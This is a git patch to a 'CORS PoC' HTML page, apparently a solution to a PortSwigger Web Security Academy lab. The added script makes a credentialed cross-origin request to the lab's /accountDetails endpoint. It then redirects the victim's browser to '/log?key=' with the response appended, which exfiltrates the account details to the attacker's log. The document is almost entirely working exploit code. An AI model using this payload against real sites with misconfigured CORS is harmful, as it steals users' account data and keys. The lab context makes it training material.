From d42d5f9939f6c72d60e42d1039f032971ce614ce Mon Sep 17 00:00:00 2001
From: sudosuraj <81553118+sudosuraz@users.noreply.github.com>
Date: Wed, 23 Nov 2022 12:38:10 +0530
Subject: [PATCH] Update cors.html

---
 cors.html | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/cors.html b/cors.html
index 241b9fe..14cf852 100644
--- a/cors.html
+++ b/cors.html
@@ -6,16 +6,15 @@ <h2>CORS PoC</h2>
          </div>
          <script>
              function cors() {
-             var xhr = new XMLHttpRequest();
-             xhr.onreadystatechange = function() {
-                 if (this.readyState == 4 && this.status == 200) {
-                 document.getElementById("demo").innerHTML = alert(this.responseText);
-                 }
-             };
-              xhr.open("GET",
-                       "0a5d001f0467d4e7c0ac2d6e00a30076.web-security-academy.net/accountDetails", true);
-             xhr.withCredentials = true;
-             xhr.send();
+    var req = new XMLHttpRequest();
+    req.onload = reqListener;
+    req.open('get','0a5d001f0467d4e7c0ac2d6e00a30076.web-security-academy.net/accountDetails',true);
+    req.withCredentials = true;
+    req.send();
+
+    function reqListener() {
+        location='/log?key='+this.responseText;
+    };
              }
          </script>
      </body>